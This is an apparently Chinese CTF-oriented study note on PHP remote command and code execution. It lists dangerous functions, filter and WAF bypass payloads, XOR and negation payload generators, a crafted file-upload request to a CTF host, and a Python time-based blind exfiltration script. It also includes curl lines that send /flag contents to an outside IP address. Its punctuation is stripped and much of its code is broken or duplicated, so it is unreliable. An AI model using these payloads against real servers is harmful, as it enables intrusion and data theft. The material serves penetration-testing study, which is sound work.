公司动态
OWASP 2021 A03-4 RCE远程代码
一、漏洞总述归类核心考点RCERemote Command/Code Execute远程命令/代码执行属于OWASP 2021 A03 注入漏洞核心高危分支是Web渗透中危害等级最高的漏洞之一。核心必考归类逻辑RCE不是独立漏洞成因而是各类注入漏洞的最终高危结果。SQL注入、XSS一般仅数据泄露/客户端劫持而命令注入、代码注入、SSTI、文件包含、文件上传均可最终导致 RCE 服务器权限接管。统一核心本质用户可控输入未滤未隔离直接被系统解释器/脚本解释器当成系统命令、程序代码执行实现任意指令、代码运行。1.1 RCE两大细分类型严格区分1. 远程命令执行Command Execute调用服务器系统CMD/Bash指令操作服务器系统层面由系统解释器执行。2. 远程代码执行Code Execute调用后端脚本语言代码PHP/Python/Java操作程序层面由脚本解释器执行。1.2 漏洞成立三大核心前提缺一不可1.参数完全可控用户可自由自定义输入内容、请求参数、接口数据2.高危函数调用 无有效隔离后端使用系统命令/动态代码执行函数直接拼接用户参数3.过滤机制可绕过仅黑名单拦截关键字、特殊符号无白名单、无参数转义、无输入过滤。1.3 底层原理网站部分业务功能IP测速、域名解析、文件校验、数据统计需要调用服务器系统命令或动态执行脚本代码。开发者为便捷开发直接将用户可控参数拼接到执行函数中。系统解释器、脚本解释器不会区分「业务参数」和「恶意指令」只会无脑解析执行所有拼接内容。攻击者通过闭合原有语句、拼接恶意命令/代码突破业务限制实现服务器任意操作。二、远程命令执行系统RCE详解rce漏洞可以让攻击者直接向后台服务器远程注入操作系统命令或代码从而控制后台系统winsWindows 常用命令速查用于信息收集与权限维持ping测试网络连通性常用于探测目标主机存活状态。ipconfig显示计算机中网络适配器的 IP 地址、子网掩码及默认网关。netstat查看网络开放端口及连接状态辅助判断对外开放服务。net user查看、增加、删除当前系统账号。net localgroup查看、增加、删除当前系统用户组。dir查看当前目录下的文件和子目录信息。systeminfo查看当前计算机的综合信息系统版本、补丁情况等。tasklist显示当前运行的进程信息可查看 PID便于定位杀软或业务进程。。linuxifconfig查看ip,mac等信息netstat查看网络开放端口及连接状态whoami查看当前用户cat /etc/passwd查看所有用户信息Is查看当前目录下的文件和子目录信息useradd添加账号userdelpasswd删除账户修改账户密码command1;command2顺序执行command1 | command2管道符: ; 实现字符串拼接|是管道符将command1的执行结果传递给command2grep筛选command1 || command2如果command1执行失败则执行command2command1 command2无论command1执行是否成功则执行command2command1 command2如果command1执行成功则执行command2sql_mode 设置了 PIPES_AS_CONCAT 时|| 就是字符串连接符相当于CONCAT() 函数当 sql_mode 没有设置 PIPES_AS_CONCAT 时 默认没有设置|| 就是逻辑或相当于OR函数第一种就按默认没有配置来进行此时||就是逻辑或1;set sql_modePIPES_AS_CONCAT;select 11;show databases;文件写入代码执行?php $code$_GET[x]; eval(code);//当成代码执行 ?危险函数命令执行回显型system(command: whoami);执行外部程序系统命令并显示输出资料passthru一样pcnt_exec( path:/bin/bash,array(whoami));//linux系统下。无回显echo exec(command: whoami);能将字符串作为OS命令执行但是只返回执行结果的最后一行(约等于无回显)echo shell_exec(command:dir);能将字符串作为OS命令执行echo popen()打开进程文件指针其他ob_start开启一个进程cmdexec(curl http://8.130.24.188:7775?acat /flag);任意代码执行传入cmd参数, 验证一下代码执行漏洞eval(system(whoami);system();)可执行多条命令assert()是断言函数但也可以用来命令执行对分号没有要求preg_replace(1,2.3)从3中找出字符1替换为2JSON格式{cmd:ls}call_user_func()回调函数第一个参数为函数名第二个参数为函数的参数call_user_func_array()回调函数第一个参数为函数名第二个参数为函数参数的数组array_map(system,[whoami])creat_function(string $agrs,string $code)//string $agrs 声明的函数变量部分 //string $code 执行的方法代码部分 //create_function调用了eval函数的可以执行任意代码base_convert 在任意的进制之间转换数字 dechex() 把十进制转换为十六进制 hex2bin 把十六进制值的字符串转换为 ASCII 字符base_convert 在任意的进制之间转换数字dechex() 把十进制转换为十六进制hex2bin 把十六进制值的字符串转换为 ASCII 字符function($a){osdnfow}include 伪协议有脏字符eval(fjkasgiufg $command )需要闭合所以 cmd??php phpinfo();?print_r(dir /)需要用反引号执行命令基础函数字符串字面量需要用引号引起来若有过滤则ASCII码值chr替代目录操作可以处理ASCII码值 getcwd() 函数返回当前工作目录。 scandir() 函数返回指定目录中的文件和目录的数组。 scandir(/) 在 PHP 中表示扫描系统的根目录。 dirname() 函数返回路径中的目录部分。 chdir() 函数改变当前的目录。 glob()函数可以查找文件, 返回一个文件数组, 常配合通配符来遍历目录?cmdprint_r(glob(*)); 数组相关的操作 end() - 将内部指针指向数组中的最后一个元素并输出。 next() - 将内部指针指向数组中的下一个元素并输出。 prev() - 将内部指针指向数组中的上一个元素并输出。 reset() - 将内部指针指向数组中的第一个元素并输出。 each() - 返回当前元素的键名和键值并将内部指针向前移动。 array_shift() - 删除数组中第一个元素并返回被删除元素的值。 localeconv()回显数组第一个数组是字符.点号获取当前区域设置下的这些规则让你能正确地格式化显示数字和货币。 array_rand()从数组中随机取出一个或多个键key。 array_flip() 交换数组中的键和值。 current()返回数组当前指针指向的元素值初始指向第一个元素。 读文件 show_source() - 对文件进行语法高亮显示。 readfile() - 输出一个文件。 highlight_file() - 对文件进行语法高亮显示。读取源代码 file_get_contents() - 把整个文件读入一个字符串中。 readgzfile() - 可用于读取非 gzip 格式的文件 file()读取文件 SplFileObject 这是php内置类print_r(highlight_file(array_rand(array_flip(scandir(getcwd())))));expvar_dump(highlight_file(array_rand(array_flip(scandir(current(localeconv()))))));关键函数getallheaders()获取所有 HTTP 请求标头是apache_request_headers()的别名函数但是该函数只能在Apache环境下使用 getenv() 获取环境变量的值(在PHP7.1之后可以不给予参数)适用于php7以上的版本 get_defined_vars()返回由所有已定义变量所组成的数组会返回_GET,GET,_POST,_COOKIE,COOKIE,_FILES全局变量的值返回数组顺序为get-post-cookie-files current()返回数组中的当前单元初始指向插入到数组中的第一个单元也就是会返回$_GET变量的数组值 pos()传入数组回显第一个数组的值pos可以用current代替 session_start()启动新会话或者重用现有会话成功开始会话返回 TRUE 反之返回 FALSE,返回参数给session_id() session_id()获取/设置当前会话 ID返回当前会话ID。 如果当前没有会话则返回空字符串””。关键字bypasssystem替换system() passthru() exec() shell_exec() popen()/proc_open() assert() 绕过大小写双写 / syst‘’emsyst‘e’m骚操作curl file:///flag 也行bash -v /etc/passwddate -f 好像可以越权读取文件var_dump绕过var_dump print_r var_exportTab %09制表符加上通配符进行绕过注意在 Linux 中使用 Tab (%09)键可以实现命令补全、文件和目录名补全等。?ip127.0.0.1%0als%09*lag.php 相等于ls flag.php%09将lag.php补全了$GET绕过使用$_GET绕过 原理get参数为cmd: ?cmd$_GET[a]();aphpinfo eval()之后$_GET[a]变为:phpinfo即phpinfo() 变形:?cmd${_GET}[a]();aphpinfo_GET变为{_GET} ?cmd${_GET}{a}();aphpinfo []使用{}替换 注当_GET%dd%c5%c7%d6^%82%82%82%82使用异或代替时, 必须加上{}括起来 原因:加上{}表示分割使%dd%c5%c7%d6^%82%82%82%82独立不加的话$%dd%c5%c7%d6^%82%82%82%82{a}();aphpinfo 异或符^不知道前后异或多少会被不是%dd%c5%c7%d6^%82%82%82%82的也异或进去空格绕过$${IFS},%09 Tab符可替代空格%0a换行符字符URL编码说明空格%20ASCII 0x20制表符%09ASCII 0x09水平制表符换行符%0aASCII 0x0A换行回车符%0dASCII 0x0D回车换页符%0cASCII 0x0C垂直制表符%0bASCII 0x0B不换行空格%a0ISO-8859-1 / Windows-1252 中的 0xA0UTF-8 下为 2 字节Web服务器 / PHP 代码层服务器会自动进行 URL 解码所以 %20 变成空格%09 变成制表符。如果过滤规则使用 preg_match 检查特定字符如 / / 匹配空格那么只有 ASCII 空格被拦截制表符、换行等通常不会被正则中的“空格”匹配除非正则里明确写了 \s 或对应转义。SQL 注入环境SQL 解析器将空格、制表符、换行符、回车符都视为空白可以在 SQL 语句中随意替换。更常用的技巧是使用 注释符 /**/ 替代空格因为它可以包含任意字符且被解析器忽略。例如SELECT/**/*/**/FROM/**/users 等价于 SELECT * FROM users。也可以使用换行符 %0a但需注意在 URL 中是否被正确传递。Shell 命令执行环境RCEShell如 Bash默认使用 IFS内部字段分隔符 来分割命令与参数。IFS 通常包含空格、制表符、换行符。因此制表符 %09 和 换行符 %0a 在 Shell 中都能起到分隔参数的作用。但换行符可能导致命令提前结束例如在 system() 中换行符可能被当作命令结束符但实际测试中换行符后的内容会被当作新命令可能无法执行完整 payload。稳妥起见制表符 %09 是最可靠的。其他字符如 %a0不被 Shell 视为分隔符会被当作普通字符拼接到命令或文件名中导致执行失败。另外还可以使用 Shell 变量${IFS}、$IFS需要正确转义避免 PHP 解析。文件包含 / 路径遍历文件系统中路径分隔符是 / 或 \空白字符在文件名中通常不被特殊处理但若需要绕过对空格的过滤可尝试用 %09 或 %0a 等但很可能导致文件找不到因为文件名不含这些字符。过滤目录分隔符(\ /)使用 cd 命令绕过 实现 127.0.0.1;cat flag_is_here/flag_31961112137507.php 替换为 127.0.0.1;cd flag_is_here;cat flag_31961112137507.phpmore:一页一页的显示档案内容less:与 more 类似head:查看头几行tac:从最后一行开始显示可以看出 tac 是 cat 的反向显示tail:查看尾几行nl显示的时候顺便输出行号od:以二进制的方式读取档案内容vi:一种编辑器这个也可以查看vim:一种编辑器这个也可以查看sort:可以查看uniq:可以查看strings 是 Linux 系统中一个用于提取文件中可打印字符序列的命令。它通常用于查看二进制文件中的文本信息如程序中的字符串但同样可以用于读取纯文本文件。虽然它和 cat 功能不同cat 直接输出文件的全部原始内容但对于包含可读文本的 flag 文件strings 的输出效果与 cat 几乎相同——它会将文件中的连续可打印字符如字母、数字、符号提取并显示出来从而泄露 flag。编码绕过echo afhgdui||base64echo BHMK||base64 -d解码|bash执行unicode绕过在一些能够识别并解析Unicode的函数时使用Unicode绕过过滤 发现Unicode编码后的内容通过json_decode可以被正常解析编码函数利用base_convert 在任意的进制之间转换数字 dechex() 把十进制转换为十六进制 hex2bin 把十六进制值的字符串转换为 ASCII 字符变量赋值a1 b2echo $a星号b//(preg_match(/.*f.*l.*a.*g.*/, $ip) 实现构造/?ip127.0.0.1;bag;afl;cat$IFS$1$a$b.php即可获取flag 注此处将变量ab的位置互换是为了绕过字符串匹配 //;可执行多条命令$a$b会自动字符拼接_绕过[ 空格 .这四个会被处理为_waf绕过禁止访问应该是waf起了作用根据大佬们的wp知道可以通过在num前加一个空格进行绕过原理php解析规则当php进行解析时如果变量名前面有空格php会自动去掉前面的空格再进行解析假如waf不允许num变量接收字母那么使用 num就可以而php解析时就会自动把空格去掉extract($_POST),变量覆盖//如果post传参为_SESSION[flag]flag那么$_SESSION[user]和$_SESSION[function]的值都会被覆盖。 ?php $_SESSION[user] guest; $_SESSION[function] 123; echo 覆盖前; var_dump($_SESSION);//覆盖前array(2) {[user]string(5) guest[function]string(3) 123} echo br; extract($_POST); echo 覆盖后; var_dump($_SESSION);//array(1) {[flag]string(4) flag} ?POST优先级高于GET($_REQUEST)_ R E Q U E S T 是 p h p 的 全 局 变 量 主 要 收 集 h t m l 表 单 的 数 据 在 这 里 它 可 以 获 取 G E T 传 入 的 数 据 也 能 获 取 P O S T 传 入 的 数 据 。 有 意 思 的 是 如 果 G E T 和 P O S T 同 时 提 交 相 同 的 变 量 _REQUEST是php的全局变量主要收集html表单的数据在这里它可以获取GET传入的数据也能获取POST传入的数据。有意思的是如果GET和POST同时提交相同的变量_REQUEST是php的全局变量主要收集html表单的数据在这里它可以获取GET传入的数据也能获取POST传入的数据。有意思的是如果GET和POST同时提交相同的变量_REQUEST只会取POST传入的数据。所以我们只要再POST没有字母的数据就ok了。$a(,$b)绕过单引号绕过preg_match()正则匹配在每一个字符前加上单引号可以绕过preg_match的匹配原理暂时不明。例如有如下代码?php $p $_GET[p]; if (preg_match(/[0-9a-zA-Z]{2}/,$p) 1) { echo False; } else { $pp trim(base64_decode($p)); if ($pp flag.php) { echo success; } } ?payloadp‘Z’m’x’h’Z’y’5’w’a’H’A’基本语法string create_function ( string $args , string $code )$args: 字符串形式表示的函数参数列表$code: 字符串形式表示的函数体代码返回值: 返回一个唯一的函数名字符串可以通过这个名称调用创建的函数示例?php // 危险示例用户输入直接进入函数体 $userCode $_GET[code]; // 用户可控制 $dangerousFunc create_function(, $userCode); $dangerousFunc(); ?用户注入code}system(cat /flag);/*如果用户代码包含 }就会提前结束函数定义后面可以添加任意代码。/* 在代码注入中的关键作用是注释掉原函数体剩余部分防止语法错误。无字母RCE异或^字母的异或是二进制之间的先运行php代码生成txt文件复制到pycharm再运行python脚本? php echo urldecode ( string: %40) ^urldecode ( string: %21) ? 输出a?php $myfile fopen(xor_rce.txt, w); $contents; for ($i0; $i 256; $i) { for ($j0; $j 256 ; $j) { if($i16){ $hex_i0.dechex($i); } else{ $hex_idechex($i); } if($j16){ $hex_j0.dechex($j); } else{ $hex_jdechex($j); } $preg /[a-z0-9]/i; //根据题目给的正则表达式修改即可 if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ; } else{ $a%.$hex_i; $b%.$hex_j; $c(urldecode($a)^urldecode($b)); if (ord($c)32ord($c)126) { $contents$contents.$c. .$a. .$b.\n; } } } } fwrite($myfile,$contents); fclose($myfile);hex2bin函数把十六进制数值的字符串转换为asciiimport requests import urllib from sys import * import os def action(arg): s1 s2 for i in arg: f open(D:/my_code/my_php_code/php/xor_rce.txt, r) while True: t f.readline() if t : break if t[0] i: # print(i) s1 t[2:5] s2 t[6:9] break f.close() output (\ s1 \^\ s2 \) return (output) while True: param action(input(\n[] your function)) action(input([] your command)) ; print(param)取反~?php $systemsystem; $commandls /; echo (~.urlencode(~$system).)(~.urlencode(~$command).);; ?payload:v11v21v3-(~%8C%86%8C%8B%9A%92)(~%D8%93%8C%D8)-自增?php $_[]; $_$_; // $_Array; $_$_[!]; // $_$_[0]; $___$_; // A $__$_; $__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; $___.$__; // S $___.$__; // S $__$_; $__;$__;$__;$__; // E $___.$__; $__$_; $__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // R $___.$__; $__$_; $__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // T $___.$__; $_____; $__$_; $__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // P $____.$__; $__$_; $__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // O $____.$__; $__$_; $__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // S $____.$__; $__$_; $__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__; // T $____.$__; $_$$____; $___($_[_]); // ASSERT($_POST[_]);缓存文件rce? 等价 ?php echoPHP文件上传机制在Linux的PHP环境下面,客户端(页面)如果对服务器上传文件,会先生成一个临时文件,存放在根目录下面的tmp文件夹下面,也就是/tmp目录下面.之后再对临时文件进行处理,比如是否将其存储到本地.无论服务器是否存在一个上传文件的请求,只要我们上传了一个临时文件,就一定会在该目录下面生成临时文件,但是会在生成后立刻删除.这个临时文件有一个特征,就是以php开头,后面跟6个随机字符,比如php123abc.因此我们可以使用通配符*对该文件进行匹配. 在这个题里面,我们可以利用其中的时间间隙,再上传文件的同时,使用cmd命令执行脚本文件.方法如果我们获取了一个HTTP的数据包我们可以通过构造一个post请求上传一个文件。先把GET文字改成POST之后在请求头加入 Content-Type: multipart/form-data; boundary---------------------------10242300956292313528205888 这是一个 HTTP 请求头中的一部分用于指定请求体的格式和边界。后面上传的脚本文件内容就是使用上方定义的边界符号进行识别和区分。 之后在下方写入要上传的文件的内容-----------------------------10242300956292313528205888 Content-Disposition: form-data; namefileUpload; filename1.txt Content-Type: text/plain #! /bin/bash cat ../../../../../flag.txt这是一个示例 -----------------------------10242300956292313528205888--1.反引号 可以用来当作命令执行例如ls和system(ls)的效果是差不多的我们可以利用这一点2 . 或者叫period它的作用和source一样就是用当前的shell执行一个文件中的命令。比如当前运行的shell是bash则. file的意思就是用bash执行file文件中的命令对于php本身而言是可以进行文件上传的。我们可以发送一个上传文件的post包此时php会将我们上传的文件保存在临时文件夹下默认的文件名是/tmp/phpxxxxxx文件名最后6个字符是随机的大小写字母。如/tmp/phphhhhhh. /???/????????[-[]自己构造网页上传带有shell命令的文件到服务器并抓包修改参数为 .%20/???/????????[-]]这样就可以执行了注意是在同一个数据包否则tmp临时文件被删除我们获取靶场数据包将GET方式改为POST并且在请求头随便某处加入以下内容Content-Type: multipart/form-data; boundaryhello1234567890Content-Type: multipart/form-data;表示文件上传boundaryhello1234567890表示定界符boundary的内容你自己定之后写入要上传的文件的内容。这是我的修改后的数据包 POST /?cmd??./??p/p?p??????; HTTP/1.1 Host: 2ffee509-b1e0-468f-aab8-0dfc2fe37b63.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/png,image/svgxml,*/*;q0.8 Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Content-Type: multipart/form-data; boundaryhello1234567890//这里是关键 Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u0, i Content-Length: 159 --hello1234567890 Content-Disposition: form-data; namef; filename7.txt Content-Type: text/plain #!/bin/sh ls --hello1234567890--ps其中的第一个边界前要加 -- 第二个前后都要加 --Content-Disposition: form-data; namef; filename7.txtContent-Type: text/plain这两行必须要有名字你可以自己随便定至于 #!/bin/sh 表示在写上 #!/bin/sh 时系统在执行这个脚本时会使用 /bin/sh 解释器来解释和执行脚本中的命令。但我亲测去掉也没问题拼接phpinfovalid 1234567890!$%^*(){}[];\\,./?-_~ answer phpinfo tmp1, tmp2 , for c in answer: for i in valid: for j in valid: if (ord(i) ^ ord(j) ord(c)): tmp1 i tmp2 j break else: continue break print(tmp1, tmp2)mess$_0302181^[[_^^;$_();无参数rce利用函数get_defined_vars()获取定义的所有变量var_dump(打印next()把数组指针向下移动一位readfile()读取文件getenv()获取环境变量getcwd()获取当前所在目录getallheaders()获取请求头session_start()启动一个session()法一cmdsystem(next(get_defined_vars()));$acat /flag法二cmdreadfile(next(get_defined_vars()));$a/flag法三法四通过session_start强制启动session,通过session id获取PHPSESSID的cookie值,得到可控字符串cmdvar_dump(session_id(session_start()));PHPSESSIDcat /flag法五cmdvar_dump(apache_request_headers())只适用apache获取请求头无回显命令执行tee就是利用tee命令将执行完system(ls /)的内容都写入到了1.txt这个文件中再访问1.txt这里只写在本题中用到的方法tee的功能是从标准输入读取再写入标准输出和文件。用法tee [OPTION]… [FILE]…-a, --append 追加到文件?urlls /|tee 1.txt将ls /执行的内容写入到1.txtcurl、wget、dns外带cmd curl http://xxx?acat /flag把flag复制到网站根目录cp /flag/var/www/html/1.txtbash盲注cmd if [cat /flag | awk NR{i} | cut -c {j} {k} ];then sleep 2;fi第i行第j个字节等于kresult for i in range(1,15): for j in range(1,50): #ascii码表 for k in range(32,127): kchr(k) payload fif [ cat /flag | awk NR {i} | cut -c {j} {k} ]; then sleep 2;fi lengthlen(payload) data { cmd: payload } t1time. time () rrequests.post(urlurl,datadata) t2time. time () if t2-t1 1.5: resultk print(result) result